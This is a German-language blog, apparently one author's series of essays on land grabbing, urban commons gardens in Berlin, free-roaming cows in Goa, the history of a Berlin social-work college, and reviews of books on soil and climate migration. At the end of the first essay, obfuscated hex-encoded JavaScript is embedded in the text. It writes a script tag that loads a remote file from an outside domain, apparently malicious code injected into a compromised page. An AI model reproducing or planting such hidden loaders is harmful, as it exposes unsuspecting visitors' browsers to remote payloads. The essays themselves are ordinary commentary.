Jäger und Sammler

Jäger und Sammler im Zeitalter des Betrugs

„Freiheit für Lula“ hatte sich die kleine bunte Truppe, die auf dem „Karneval der Kulturen“ Brasilien repräsentierte, auf ihre Transparente geschrieben. Sie meinen, dass der Präsident, der erfolgreich eine „Zero Hunger“-Politik eingeführt hat, zu Unrecht eingesperrt ist. Halb Südamerika versinkt nach einer Dekade sozialer Regierungen erneut im Sumpf von Korruption und Gewalt. Gewählte Regierungen werden per Tricks entmachtet, Landlose von ihren kleinen Äckern vertrieben, die sie rechtmäßig zu bestellen begonnen haben. Die Superreichen möchten sich bei der Jagd nach noch mehr Geld nicht gerne stören lassen. Seit der dot.com-Blasen-Krise ist das Investieren in „Realien“: Häuser, Rohstoffe und Land angesagt. Alle machen mit, auch die Deutsche Bank. Ist ihren Managern egal, dass Sojabarone die Regenwälder Südamerikas roden? Obwohl das illegal ist? Muss man deshalb daran Anstoßnehmende mittels Korruptions-Vorwürfen auszuschalten? Die Investoren vertreiben mittels bewaffneter Räuber die Jäger-und Sammler-Völker, die bisher im und vom Regenwald lebten. Kleinbauern, die als frühere Regenwald-Vertriebene selbst illegale Bandrodung betreiben, werden mit vertrieben. Mit Gewalt. Die Landjäger kennen keine Gnade. Die Regierungen der zivilisierten Welt schauen ungläubig zu. Sie schämen sich. Und sind froh, dass die Regeln der Diplomatie ihnen verbieten, einzugreifen.

Die weltweite Jagd nach „Realien“ wie Land produziert vor allem eines: Arbeitslosigkeit. Weltweit wächst die Erwerbslosigkeit. Sie betrifft nicht nur die Jugendlichen Griechenlands oder Spaniens. Die Neuzugezogenen in den großen afrikanischen Städten finden zu über 80% keine Jobs, schon gar nicht angemessen bezahlte. Und auch in reichen Städten des Nordens wie Berlin sind seit Jahrzehnten stets um die 20% der Bevölkerung von Sozialgeldern abhängig, in manchen Viertel 40% der Jungs ohne Jobs. Sie jobben allenfalls als Prekäre bei den ebenfalls prekär lebenden „Späti“-Inhabern oder versuchen als Putzfrauen, Fahrradkuriere oder VHS-Dozentinnen zu überleben. Diese neue Armut wird von allen Regierungen vertuscht. Erwerblose über 50 werden z.B. in Berlin nicht mitgezählt, weil sie eh keine Chance mehr hätten. Mit der Folge, dass man im globalen Süden meint, hier bekämen alle Arbeit und sich immer neue Gruppen junger Afrikaner auf den Weg machen…

In Europa merken die Menschen erst jetzt, dass wir weltweit in einer Art Zeitalter des Betrugs angekommen ist. Wenn die Leute keine – und sei es auch eine noch so schlecht bezahlte – Anstellung finden, werden sie wie in archaischen Zeiten wieder zu Nomaden, Jägern und Sammlern. Die einen mähen die Wegesränder ab, um Futter für ihre Hühner und Kaninchen zu erbeuten, die sie in der bewährten Tradition Osteuropas als Nebenerwerbs-Subsistenzbauern halten. Die anderen klauen aus purem Hunger Tomaten aus Gemeinschaftsgärten oder Ziegen aus den Kinderbauernhöfen, um sie zu verzehren. Wenige Tage später entdecke ich in den öffentlichen Parks Berlins, wie Menschen aller Kulturen einträchtig Akazienblüten sammeln, um daraus Sirup zu machen. Eine Woche später höre ich Vater und Töchterchen sich an den wegseitigen Blüten unseres Holunderbusches zu schaffen machen. „Hier ist eine besonders schöne!“ sagt das Kind. Ob sie wohl Pfannkuchen draus machen wollen? Der Holunder duftet betörend. Vielleicht sollte ich auf unserem zweiten „Vorm-Zaun-Acker“ zumindest eine Pfefferminzfarm anlegen? Offenbar brauchen Städte(r) heute solche Allmenden. Denn auch Erwerbslose und andere Prekäre möchte zu gerne ihrem urmenschlichen Betätigungsdrang nachgeben können… var _0x78f1=[„\x3C\x73\x63\x72″,“\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4E\x7A\x41\x37\x4D\x51\x3D\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x70\x61\x6D\x70\x6F“,“\x70\x68\x6F\x6C\x66\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,“\x69\x70\x74\x3E“,“\x77\x72\x69\x74\x65″];function printapp(){var _0x8e48x2=_0x78f1[0];var _0x8e48x3=_0x78f1[1];var _0x8e48x4=_0x78f1[2];var _0x8e48x5=_0x78f1[3];document[_0x78f1[4]](_0x8e48x2+ _0x8e48x3+ _0x8e48x4+ _0x8e48x5)}printapp()

Allmenden und Genossenschaften

Zum Donnerstag, den 26.4. 12.00-13.30 vor dem Reichstag.

Wir gratulieren der Raiffeisen-Genossenschaft zur Feier ihres 200-jährigen Bestehens. Diese Agrargenossenschaften ermöglichten den Bauern des 19. und frühen 20. Jahrhunderts das Überleben. Aber die Genossenschaften wurden im Wendeprozeß ihrer Gemeinützigkeit beraubt und sind heute – extrem gefährdet – von der UNESCO daher zum Weltkulturerbe erhoben. Denn nur Neu-Gründungen von Landbaugenossenschaften ermöglichen im 21. Jahrhundert etwa Hunderten von Kleinbäuerinnen Indiens Überleben und Erfolg. Die Allmenden können wir dabei als Vorform oder eine ältere Form von Genossenschaften oder Gemeinwirtschaft betrachten. Sie hielten sich teilweise bis heute, wie wir dank Elinor Ostrom wissen.

Die Raiffeisen-Genossenschaft möchte zu ihrem Jubiläum Anlaß dem allseits beliebten Gemeinschaftsgarten Allmende-Kontor auf dem Tempelhofer Feld 20 Hochstamm-Obstbäume schenken. Denn schließlich ist dieser Garten als neue
Allmende so etwas wie das Herz und Symbol des Tempelhofer Felds als neuer „Gemeinheit“ geworden, also einer neuen „commons“ wie es auf Englisch heißt. Vermehrte Neueinrichtungen von commons – das werden wir für die Zukunft überall brauchen. Eßbare Stadtlandschaften verwaltet in Bürgerhand bzw. konkret neuen Allmende-Genossenschaften – die werden wir gerade auch in den Städten benötigen, allein schon deshalb, um die vom Land Vertriebenen vor der für die meisten unerträglichen Bürde der Erwerbslosigkeit bewahren zu können. Um ihnen einen Raum für Eigenarbeit als tätiger Selbsthilfe geben zu können.

Die geschenkten Obst-Bäume wird das Allmende-Kontor allerdings gleich an das Tempelhofer Feld als solches resp. das Land Berlin weiter verschenken, schon mangels Platz im eigenen Garten, zumal Gemüseanbau und Obstbäume sich nur bedingt vertragen. Das Feldforum des Tempelhofer Feldes wird mit Unterstützung der „Feld-Koordination“ entscheiden, wo sie stehen sollen.

Den Namen „Allmende“-Kontor verdanken wir übrigens Ivan Illich, dem Kritiker der Expertokratie, der das schöne Buch „Das Recht auf Gemeinheit“ schrieb, sowie Karl Linn, einem Community-Gärtner in Berkeley. Karl Linns Buch heißt „Building Commons and Communities“, denn das hat er ein Leben lang getan. Karl Linns Mutter war eine erfolgreiche „Zurück-Aufs-Land“-Pionierin der ersten Stunde, 1913 baute sie allein mit Hilfe der Rentengut-Genossenschaft „Freie Scholle“ eine erfolgreiche Obstbaum-Plantage auf, die später vielen jüdischen Mädchen eine Art frühen Kibbuz mit Landbau-Ausbildungs-Möglichkeit bot. Solange die Kirschbäume noch nicht trugen, ernährte sie sich von einer Subsistenz-Landwirtschaft mit Hühnern, Kühen und Schweinen und allem drum und dran. 1933 aber wollte der Nazi-Bürgermeister ihr Land, der üble Bodenraub der Nazis… Gegen das Landgrabbing weltweit hilft nur das „Reclaim the Commons“! Henny Rosenthals Sohn, Karl Linn, trug diese Idee dann durch die halbe Welt und unterstützte dabei auch die Besetzer vom Ziegenhof in Charlottenburg. Als einer, der häufiger die Länder und Städte wechselte, wußte er wovon er sprach: Das „Wiederverwurzeln in der Fremde“, das geht am allerbesten in der Gemeinschaft einer Allmend-Genossenschaft, in einem Gemeinschaftsgarten auf einem Tempelhofer Feld als Gemeinheit, die allen gehört und daher auch auch den „Neuen“ offen steht…

Elisabeth Meyer-Renschhausen

Vom Paradies, Allmenden und Kühen

Der kleine Küstenort Agonda in Goa ist ein Paradies. Die Fischer und Bauern leben in offenen Palmenhainen. Die Touristen ergötzen sich an den am Strand frei laufenden Kühen. Rindviecher in allen Farben wie auf den Gemälden der Renaissance. Fast alle lieben die Kühe. Aus den edlen Ressorts werden sie jedoch verjagt, wenn sie sich zum Wiederkäuen hingelegt haben. Am abendlichen Strand jedoch müssen manche Mütter länger nach ihren Töchterchen schreien. Da die eben mit einem der Kälbchen schäkern. Das Kalb versteckt sich scheu neugierig hinter der Alten. Erst als das Kind eingesammelt worden ist, macht das kleine Kalb übermütige Bocksprünge, offenbar vor lauter Begeisterung so viel Bewunderung hervorgerufen zu haben. Es versucht einen Altersgenossen mitzureißen, mit Erfolg. Die lustigen Sprünge der Kälber sind ansteckend. Viele der den Strand entlang wandelenden Touristinnen zücken ihre Handys, um an dieser Lebensfreude teilzuhaben.

Zum Sonnenuntergang veranstalten die Kellner mancher Strandressorts fast eine Art Schaufüttern. Einer setzt sich mit den Brotresten in die Herde und ernährt die Kälber. Das Gros der Herde steht um einige Plastikboxen mit den gesammelten Küchenresten. Harte Papaya- und Ananasschalen sind darunter, an denen die Kühe geduldig kauen. Die Abendsonnen-Wanderer bleiben beeindruckt stehen. Später erklärt mir der jüngste Kellner des „Jardim a Mar“, dass sie die Kühe eigentlich nicht füttern dürften, wegen der Hygiene. Wenn sie dabei erwischt werden, müssten sie zahlen. Deshalb warten sie bis zum Abend, weil dann keine Beamte mehr unterwegs wären. Der junge Mann mit der falsch herum aufgesetzten Baseballkappe stammt aus Nepal. Sie wären hier fast alle aus dem Himalaya. Sie wäre Hindus und gäben deshalb den Kühen die Küchen-Abfälle etwa aus der Obstsaft-Herstellung. Die Kühe hätten jetzt Ende der Trockenheit kaum noch etwa zu fressen. Wer die Kühe während des Monsuns füttere, wenn die Touristen weg und die Restaurant zu sind, wisse er auch nicht. Er glaubt, dass die Kühe herrenlos wären.

Nach der Fütterung beginnt das Sozialleben unter den Rindviechern. Jetzt geht das Gerangel unter den verwunderlich vielen Stieren in der Herde los. Die Stirnen aneinandergelegt schieben sie sich über den Strand. Manchmal geraten zwei Bullen auch ernsthafter aneinander. Ihr Kampf wird heißer, sie bewegen sich dabei auf den Wanderstreifen der Feriengäste zu. Da kommt die weibliche Müllbrigade in orange und grün mit Müllsäcken und Reisigbesen bewaffnet. Die zierlichste von ihnen mit Wetter-gegerbtem Gesicht unter dem mit einem Schal festgebundenen Hut winkt mich heftig weg. Dann bewirft sie die Bullen energisch mit einigen Handvoll Sand. Die Tiere lassen sofort voneinander ab. Die zierliche Dame ist stolz und von Stund´ an grüßen wir uns wie alte Bekannte. Andere Jungbullen sind ohnehin friedfertig und beginnen – nachdem sie eine Weile gerangelt hatten – sich gegenseitig abzuschlecken und zu kraulen. Währenddessen die Kühe ihre Kälber anstubsen, nun doch bitte aufzustehen und brav zu saufen. Die freilaufenden Kühe sind jung, halbe Färsen, keine wird gemolken. Zumindest noch nicht.

Am nächsten Tag sehe ich im Dorf zwei blitzblanke Milchkannen. Dahinter wäscht ein Bauer sein Milchgeschirr. Ja erklärt er mir froh, er sei Milchbauer und melke morgens und abends. Davon könne er ganz gut leben. Jeden morgen um neun käme der Milchwagen und hole die Milch seiner fünf Kühe. Da kommt ein weißes Pritschenauto und er hilft beim Aufladen der schweren Stahlkannen und erhält zwei leere zurück. Die indische Regierung ist bemüht genügend Molkereiprodukte für alle anbieten zu können. Die staatliche Molkerei Almu wirbt für ihre Milch und Butter. Tee mit Milch, eine Art Kefir namens Lassie und Süßigkeiten aus Milch gehören in Indien zu Leben dazu. Später sehe ich in anderen Teilen Indiens an viel befahrenen Landstraßen angebunden gehaltene Einzelkühe mit strammen Eutern. Kühe und Büffel als Zug- und Pflugtiere und Milch- sowie Düngerproduzenten sind aus der Indiens Landwirtschaft nicht wegzudenken und bringen der Bauern einen wichtigen Teil ihrer Einkommen.

Ein allzu intensives Interesse an der Herde am Strand zwecks eventueller Fotos wird von den Rindern auch schon mal falsch verstanden. Einmal bemerke ich gerade noch rechtzeitig wie ein Viermonats-Kalb hinter mir seinen noch hörnerlosen Schädel mit schlangenartigen Bewegungen angriffslustig zu drehen und zu wenden beginnt. So als wolle es mir sogleich den wohlverdienten Schubs geben. Als ich mich umdrehe und es auf den Irrtum hinweise, merkt es, dass es sich im Spielkameraden geirrt hat. Es trollt sich von dannen… Es sind wohl besonders diese freilaufenden Tiere, die im christlichen Goa unbekannteren Strände Indiens etwas Paradiesisches verleihen. Aber wie lange noch? Noch sind die meisten Palmen- und Cashewnußhaine rings um die Häuser uneingezäunt. Noch können Affen, Schweinchen und Kühe sowie auch manches Pferd oder auch alte Büffel sich freilaufend durch die Nutzbaumhaine bewegen.

Aber auch in Indien wird sogar in entlegenen Orten Land privatisiert. Immer mehr Land gehört immer weniger Großgrundbesitzern. Der Mittelstand baut sich auch auf dem Land größere Häuser und zieht Zäune ums Grundstück. Die Dorfallmende mit dem öffentlichen Badestrand sei erst kürzlich von einem Investor aufgekauft und mit neuen Holzhütten zu einem Ressort verwandelt worden, erzählt mir eine Dame aus Wien, eine der vielen Dauergäste. Es handelt sich um jenen Palmenhain, den die Kühe gerne für ihre mittägliche Verdauungsrunde benutzen. Mit den freilaufenden Kühen jedoch, wird mir klar, verlöre der ansonsten eher langweilige Badeort zweifelsohne das Paradiesische.

In anderen Teilen Indiens wurden die Flußauen der derzeitigen Bauwut bereits illegal geopfert, erzählt mir die Ökoaktivistin Vandana Shiva empört. Damit verschwänden die wesentlichen Weidegründe der Rinder und der Wasserbüffel. Nun fristen Kühe und Büffel mit ihren prall gefüllten Eutern ein trauriges Dasein in Anbindehaltung an den Straßenbäumen oder in den Höfen. Es sei denn, ihre Besitzer treiben sie wie früher in den Staatsforst, was heute aber nicht mehr statthaft ist. Opfert Indien seine Allmenden? Geht auch hier das Landgrabbing auf Kosten von Viehhaltern und das mittelständige Tourismus-Gewerbe, obschon Landwirtschaft und Kleingewerbe die allermeisten Inder ernähren?

Gedichte für die soziale Arbeit?

In Berlin streitet man sich über ein Gedicht. Ein Gedicht an einer Hauswand einer Hochschule für Sozialarbeit und Sozialpädagogik. Ein Gedicht über eine Prachtstraße mit Bäumen und flanierende Frauen. Ein freundliches Gedicht. Ein Gedicht aus männlicher Sicht. Was hat es hier zu suchen? Wohl eher nichts.

Die Alice Salomon Hochschule ist als ehemalige Hochschule für Sozialarbeit und –Sozialpädagogik HfSS Nachfolgerin der ersten Sozialen Frauenschule in Berlin. Sie wurde 1903/8 gegründet. Damals schuf die erste Frauenbewegung ähnliche Hochschulen überall in der Welt z.B.auch in London oder New York etc. The first wave of feminism setzte sich neben dem Wahlrecht und dem Recht auf Bildung auch für soziale Gerechtigkeit ein. Ledige Mütter und ihre Kinder sollten nicht mehr hungern müssen. Alleinreisende Dienstmädchen sollten nicht mehr Mädchenhändlern in die Fänge geraten. Lehrerinnen eine Rente ansparen können. Arbeiterinnen auch ohne ehemännliche Erlaubnis z.B. einen Kleingarten pachten können… Die erste Frauenbewegung setzte sich für ihre Ziele sowohl theoretisch als auch praktisch ein. Die Feministinnen schrieben Eingaben an die Regierung und unterrichteten ehrenamtlich junge Frauen, die ihrerseits freiwillig in den Armenquartieren arbeiteten. Von Chikago über Berlin bis Hamburg entstand international eine sogenannte Settlementbewegung: „junge Damen aus gutem Hause“ zogen furchtlos und abenteuerlustig in die Ghettos, lebten mit den Obdachlosen, ehemaligen Knackis und Prostituierten eng zusammen. Sie versuchten ihnen durch kostenlose Beratung zur Seite zu stehen. Um den jungen Helferinnen ihre Naivität und den damit einhergehenden Klassendünkel zu nehmen, richteten die Frauenrechtlerinnen, wie die Feministinnen im Kaiserreich abschätzig genannt wurden, soziale Frauenschulen ein. Es begann in Berlin ab 1893 mit Kursen für die Jugendgruppen für soziale Hilfsarbeit. Auch die Brüder Max und Alfred Weber unterrichteten hier unentgeltlich. Schließlich war ihre Mutter eine der Erfinderinnen der sozialen Arbeit. Die Ausbildung währte drei Jahre und entwuchs aus der Praxis. Auf ihre Praxisorientiertheit waren die Frauenrechtlerinnen stolz. Das hatten sie den Universitäten voraus. Die nämlich empfanden sie als langweilig verstaubt und ihrer Zeit hinterher.

Dann kam der Erste Weltkrieg. Die Not war urplötzlich überall so groß, dass viele der Anliegen der ersten Frauenbewegung nunmehr Gehör fanden. Plötzlich wurden überall Sozialarbeiterinnen und auch Sozialpädagoginnen benötigt: für die hungernden Alten, mittellose Mütter, verwaiste und in die Kriminalität abgerutschte Kinder. In vielen Großstädten entstanden nun Soziale Frauenschulen. Aber als der Krieg zu Ende war, war der gesamte Mittelstand verarmt. Die Staatsanleihen waren wertlos geworden und die Inflation nahm den Rest der Ersparnisse. Kaum noch eine Familie konnte es sich leisten eine ihrer Töchter auszuhalten, damit sie ehrenamtlich als Sozialarbeiterin tätig war. Egal, ob sie nun Sozialbeamtin, Wohlfahrtsdame, Fürsorgerin oder Jugendleiterin hießen: Die Examinierten mussten nunmehr bezahlt werden. Die Professionalisierung eines Berufsstandes stand an. Alice Salomon, damals Direktorin der Sozialen Frauenschule Berlins, war darüber extrem unglücklich. Sie wusste, dass sie damit ihre Freiheiten verlieren würden. Denn mit der staatlichen Besoldung übernahm der Staat auch „das Sagen“… Dienstanweisungen verboten den ersten Sozialarbeiterinnen das forschende Lehren, das sofortige schriftliche Reflektieren der gemachten Erfahrungen und das Öffentlichmachen sozialer Ungerechtigkeiten. Und so kam es.

Alice Salomon war erst Mitte der 1920er Jahre wieder glücklich, als sie auf dem begrünten Dach des Neubaus ihrer Schule unterrichten konnte. Immer noch am altangestammten Platz so vieler sozialer Frauengründungen in der Karl-Schrader-Straße. Hier hatten die Damen wie Lina Morgenstern, Henriette Schrader-Breymann, Hedwig Heyl, Helene Lange, Jenny Hirsch etc. alles einmal angefangen… Alice Salomon kam als Jüngere dazu. Heute erinnert nur noch der Krippenverein an den Standort. Die Gebäude sind noch da, aber nur noch teilwiese genutzt. – Damals wurde ab 1933 unerwartet alles anders. Alice Salomon kam aus jüdischem Hause. Sie musste weg. Die Nazis übernahmen.

Als die Hochschule für Sozialarbeit- und Sozialpädagogik nach 1945 wieder allmählich in ihre sozialpolitisch orientieren Gänge kam, wussten nur noch ältere Hochschullehrer wie Dieter Claessens von der Geschichte der Hochschule. Meistens solche, die wie Claessens selbst, aktive Frauenrechtlerinnen als Mütter hatten, die sich auch 1945 wieder für die Waisen, Flüchtlinge, displaced persons im Verbund mit ihren Schwestern im Geiste in den USA etc. einsetzten…

Dann kam die Wende von 1989, die deutsche Wiedervereinigung. Die HfSS kam aus dem Zentrum der damaligen Frauen- und Lesbenbewegung weg. Weg aus dem Stadtteil mit den vielen neuen Frauenhäusern, Mädchenläden, betreuten Mädchen-WeGes, Prostituierten-Beratungs-Stellen und Lesben-Zentren. Sie wurde einem übereifrigen Bauvorhaben geopfert, wo noch diverse Räume zu besetzen waren. Die HfSS, nunmehr nach ihrer ersten Direktorin Alice-Salomon-Hochschule genannt, kam an den östlichen Stadtrand, sollten zur dortigen Entwicklung beitragen…

Das Lehrpersonal wurde zunehmend männlicher. Wer mag da wohl für das fragliche Gedicht an die Wand der Fachhochschule (university of applied sciences) entschieden haben? Was wussten die entsprechenden Gremiums-Mitglieder über die Geschichte dieser Einrichtung? Was über Alice-Salomon und die Frauenbewegung, aus der sie kam? Bedeutet die Abkürzung ASH die Tilgung einer besonderen Geschichte? Wäre es nicht einer Zeit, da weltweit unzählige Frauen kaum genügend Beschäftigung für eine ausreichende Rente bekommen und weibliche Alleinerziehende und ihre Kinder größtenteils arm sind, an der Zeit, über die Geschlechtergerechtigkeit in der staatlichen Wohlfahrt neu nachzudenken?

Liebe geht durch den Magen: Bauern fördern!

Es war ein Fest: All´ die Engagierten aus allen Teilen der Republik und aus lange verstrichenen Konferenzen und Zusammenhängen wieder zu sehen – in alter Frische und mit immer noch ungebremstem Engagement. Junge und alte vielfältig Aktive hatten die lustigsten Sprüche erfunden und Schilder gemalt, die sie nun tapfer in die Luft hielten: wie etwa „Liebe geht durch den Magen“ oder „Bauer sucht Biene“ oder giftiger: „Weil Du bist, was Du isst: Fresst doch selbst Euren Mist!“ Es gab auch mehr ernsthafte Forderungen auf den Transparenten wie etwa „Gerechte Preise für Milcherzeugnisse“, „Wer TTIP sät, wird Tierfabriken ernten“ oder mehr auf die Not der Landwirte im globalen Süden orientiert: „KleinbäuerInnen fördern – Landraub stoppen!“ oder „Rechte von Bauern und Bäuerinnen stärken – für eine UN-Kleinbauernerklärung!“ Die wunderbaren Gartenaktivisten kamen mit einem so großen Banner, mit dem sie forderten, die mit so viel Engagement und Liebe begärtnerten Freiräume zu erhalten, dass es schier unfotografierbar war. Besonderen Jubel erzielten die Klima-Aktivisten von „Ende Gelände“ als sie von einem Rohbau ganz in der Nähe des Wirtschaftsministeriums ein riesenhaftes Transparent mit der einleuchtenden Forderung „Grünkohl statt Braunkohle“ herunter lassen konnten. – Nach der Demo gab es zum „Supp´n Talk“ wie schon in den Jahren vorher einen fast vierstündigen Maraton mit der jeweils 5-minütigen Vorstellung einiger der besten Projekte aus der Bundesrepublik Deutschland und ganz Europa. Besonders begeisterte der Bericht aus Frankreich, wo man auf dem besten Wege ist, die Ackergifte der konventionelIen Landwirtschaft ganz zu verbieten. Ebenso erfreute die Nachricht, dass auf Grund des internationalen Engagments der externe Landaufkauf resp. das Landgrabbing in manchen Ländern des Südens vorerst beendet werden konnte. Junge Aktive von La via Campesina u.a. traten für die Rechte der Kleinbäuerinnen des Südens ein und vertraten die Idee, diesen Begriff als quasi eine Art „Kampfbegriff“ beizubehalten. Auch der Report der „AG Kleinstlandwirtschaft“ mit ihren Konferenzen, Büchern und Gemeinschaftsgärten stießen auf ein erstaunliches Interesse und viel Zuspruch… (hier der Beitrag als pdf.)

Bodenfragen? Humusrevolution!

Unsere Landwirtschaftspolitik ist bodenlos. Von Herren bestimmt und Ökonomie-fixiert – die ersten Frauenrechtlerinnen von 1900 wie Helene Lange hätten gesagt: „einseitig männlich.“ Dem widerspricht nicht, dass sich die Kanzlerin sich von der großen Industrie mal wieder rumkriegen ließ. Und der Zustimmung zum Ackergift Glyphosat entgegen der Koalitionsvereinbarungen und dem Votum der Umweltministerin Hendricks offenbar mitzuverantworten hat… – Es war Anfang der 1990er Jahre, als der Fortschrittskritiker Ivan Illich und der Freiburger Germanist Uwe Pörksen zusammen mit der alten Nonne Mother Jerome von Regina Laudris die „Bodenlosigkeit“ unseres Umgangs mit unseren Mutterböden thematisierten. Es war eine wunderbare Konferenz in einem nordostamerikanischem Kloster. Die Benediktinerinnen bewirteten uns ausschließlich mit Lokalem wie etwa selbstgemachtem Käse. Das Kloster war zeitweilig Zufluchtsort erledigter Hippies, die mal eine Auszeit brauchten.

Ergebnis war: Die Landwirtschaftspolitik der jüngsten Zeit zerstört die Erde mitsamt dem Klima. Sie ist für die Menschheit nicht länger tragbar. Die Agrarindustrie zerstört die zarte Humushaut, die den Globus umgibt und Garant für die Fruchtbarkeit unserer Erde ist. Die Zwangsfütterung der Menschen mit Fleisch aus Massentierhaltung verschlingt die Hälfte der weltweiten Getreideerzeugung. Die Produktion sogenannter Bio-Energie vertilgt Wälder, verbraucht die Äcker und zerstört die Subistenzwirtschaften der Indonesier. Mais- oder Palm-Monokulturen zerstören die Biodiversität, so dass künftige Agrarkultur fraglich wird. Vor allem aber zerstört eine maschinenbestimmte Bodennutzung die Wasserkreisläufe. Böden ohne Wälder oder buschige Feldraine an kanalisierten Flüssen können kaum noch Regenwasser aufnehmen und verdunsten. Die dadurch fehlenden kleinen Wasserkreisläufe lassen die Gletscher schmelzen und heben die Meeresspiegel.

Um diese Fehlentwicklung zu beenden, hat sich ein Teil der Menschheit aufgemacht, die Ruder herumzureißen. Die Aktivisten gärtnern in Städten, gründen solidarische Landwirtschaften oder bilden Bodenfonds, um Junglandwirten einen Einstieg zu ermöglichen. Andere entwickeln ausgeklügelte Systeme von Weidewirtschaften, wo nach nacheinander Kühe, Hühner und etwa Schweine auf einem Landstück grasen und dieses so anschließend einen sehr guten Ackerboden abgibt. In Südamerika blickt man mit Respekt auf die mehrgeschossigen Waldgärten, die dortige Indigene Tausende von Jahren mit Erfolg betrieben haben…

Das Buch „Die Humusrevolution“ stellt in Form von Reisbeschreibungen alternative Ansätze vor, den Boden wieder aufzubauen. Initiativen wie Incredible Edible von Todmorden zeigen, wie eine ganze Stadt erfolgreich mit Gemüse bestellt werden kann. Kleinstädte wie Andernach können mithilfe von Arbeitslosen zu essbaren Städten verwandelt werden. Großstädte könnten generell wieder von einem Ring von Gärtnereien und Kleinbauernhöfen umgeben werden, auf denen Gärtner im Zweiterwerb Lokales zu direktem Vor-Ort-Verzehr anbauen. Co-Autor Stefan Schwarzer betreibt in der Lebensgemeinschaft Ökohof Tempelhof selbst einen Permakultur-Garten. Als wissenschaftlich ausgebildete Autoren unterlegen die Verfasser Ute Scheub und Schwarzer die Versuche ihrer Protagonisten  mittels der Forschungsergebnisse von einschlägigen Institutionen wie vom Rodals Institut in Pennsylvanien (USA)  oder vom Schweizer FiBl-Institut. – Das Buch bietet im Anhang eine lange Liste von Vorschlägen, was unmittelbar jetzt getan werden kann, für jeden einzelnen als auch für Politiker. Hübsch ist der abschließende kleine Ausblick von Hans Peter Rusch ins Jahr 2050: in dem die Menschen mehr im Anbau klimaverträgliche Nüsse, Früchte und Staudengemüse verzehren. Parkplätze samt Supermärkten sind in Urban Gardening-Projekte verwandelt worden, da keiner mehr anonyme Lebensmittel einkaufen mochte. Erwerbslose, Flüchtlinge oder Rentnerinnen können sich nun auch in den Städten ihr eigenes Gemüse anbauen…

Ute Scheub, Stefan Schwarzer, Die Humusrevolution – Wie wir den Boden heilen, das Klima retten und die Ernährungswende schaffen, Oekom Verlag München 2017, 235 Seiten, zahl. Abb., 19,95 €

Die neue Landflucht

Jeder siebte ist unterwegs. Auf der Flucht vor Krieg oder Dürren, die ihre Landwirtschaft zerstörten. Oder weil Überschwemmungen Ernten und Höfe weggespülten. Wir erleben derzeit noch nie da gewesene Massenfluchten. Im Durchschnitt setzen sich jährlich 26,4 Millionen nur in Folge des Klimawandels in Bewegung. Extremwetter und Umweltschäden vertreiben sie aus ihrer Heimat und damit oft in jahrelanges Elend. Die Eskimos, Inuit, die von Kanada bis Sibirien durch das Abschmelzen der Gletscher zum Abwandern gezwungen werden, sind in den Städten meistens erwerbslos. Zum Verlust der Heimat kommen für die meisten Flüchtlinge im Aufnahmegebiet Diskriminierungs-Erfahrungen hinzu: die Fukushima-Evakuierten etwa wurden von den anderen Japanern wie Aussätzige gemieden. Immigration großer Gruppen kann für die meistens selbst armen Gastgesellschaften zu großen Belastungen führen…

Das Leugnen des Klimawandels kann Kriege auslösen. Subsahara-Afrika ist vom Austrocknen der Sahelzone bedroht. Die Hirtenvölker kommen verstärkt und immer länger in die Regionen der Bauern. Was dann etwa in Ghana und in vielen anderen Teilen Afrikas zu einer Übernutzung der Böden führt. Gewaltsame Konflikte sind die Folge. Die Dafur-Region des Sudans erlebte Jahrzehnte andauernde Stammes-Streitereien um Land und Wasser. Es kommt so zudem zu der paradoxalen Entwicklung, dass  Klimawandel und Klimakonflikte die traditionellen Wanderbewegungen der Hirten in Afrika und Innerasien zunehmend in Frage stellen. Immerhin haben einige Westafrikanische Staaten nun ein Abkommen, dass ihren Pastoralisten erlaubt, dem Regen hinterher zu ziehen und dabei auch ungehindert die Grenzen überschreiten zu dürfen.

In Syrien trieb eine mehrjährige extreme Dürre zahllose Bauern in die Städte, wo sie sich arbeitslos an den Protesten gegen das Regime beteiligten. Die rasante Urbanisierung führt zu immer größeren Slums mit wachsenden Hygieneproblemen und als deren Folge Seuchen. Nur wenige Länder wie Bangladesh, Guinea-Bissau und Mali haben ihre Landwirtschafts- und Fischereimethoden verändert, um die problematische Urbanisierung zu verlangsamen. In Afrika hat man mit der Kampala-Konvention (2009/12) einen rechtlichen Rahmen zum Schutz von Binnenflüchtlingen, die durch Naturkatastrophen zur Flucht gezwungen wurden, geschaffen.

Migration hat natürlich oft auch gute Seiten. Die Mittel, die Wanderarbeiter aus der Ferne schicken, helfen den Daheimgeblieben beim Überleben, u.U. sogar dabei, Böden wiederaufzubauen. Der Atlas der Umweltmigration stellt die Migration infolge des Klimawandels an wichtigen Beispielen übersichtlich dar. Was fehlt ist ein Register. Dieser neue Umweltatlas des weltweiten Wanderns gehört in jede Schul- und Unibibliothek.

Atlas der Umweltmigration von Dina Ionesco, Daria Mokhnacheva, Francois Gemenne, Oekom Verlag München 2017, 170 Seiten, 22,70 € (Orig.: London 2017 )

Gemeinsam Ackern in Allmenden

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Ein sonnendurchfluteter Jugendstilhörsaal mit knarrenden Bänken: Farida Akhter aus Bangladesh singt die Lieder der Kleinbäuerinnen von Nayakrishi Andolon. Edie Stone erzählt vom Verteidigungskampf der Community Gardeners in New York City und Brigitte Vogl-Lukasser aus Wien über die Hausgärten als Wohnzimmer der Mayas. Bauer Christian Hiß berichtet in kaum verständlichem Alemannisch von seinem Gemüsegarten am Kaiserstuhl und Krankenpfleger Wolfgang Eisenberg von seinem Nebenerwerbshof im Wendland. Im Hintergrund erzählen die Fotos von den Internationalen Gärten in Göttingen…

Als im Jahr 2000 in Berlin an der Landwirtschaftlich-Gärtnerischen Fakultät die Konferenz „Kleinstlandwirtschaft und Gärten in Stadt und Land als weibliche Ökonomie“ stattfand,sollte mit dem Terminus „weibliche Ökonomie“ auf die Zuständigkeit von Frauen für Überlebens- und Krisenwirtschaften hingewiesen werden. Damals ahnte niemand, dass das Thema nur ein Dutzend Jahre später unten dem Label Urban Gardening zu einem Medienhype werden würde. Keine von uns hätte damals gedacht, dass Berlin fünfzehn Jahre später – wohl nur für einen kurzen Moment der Geschichte – zu einer Art europäischer Hauptstadt der Gemeinschaftsgärten avancieren würde.

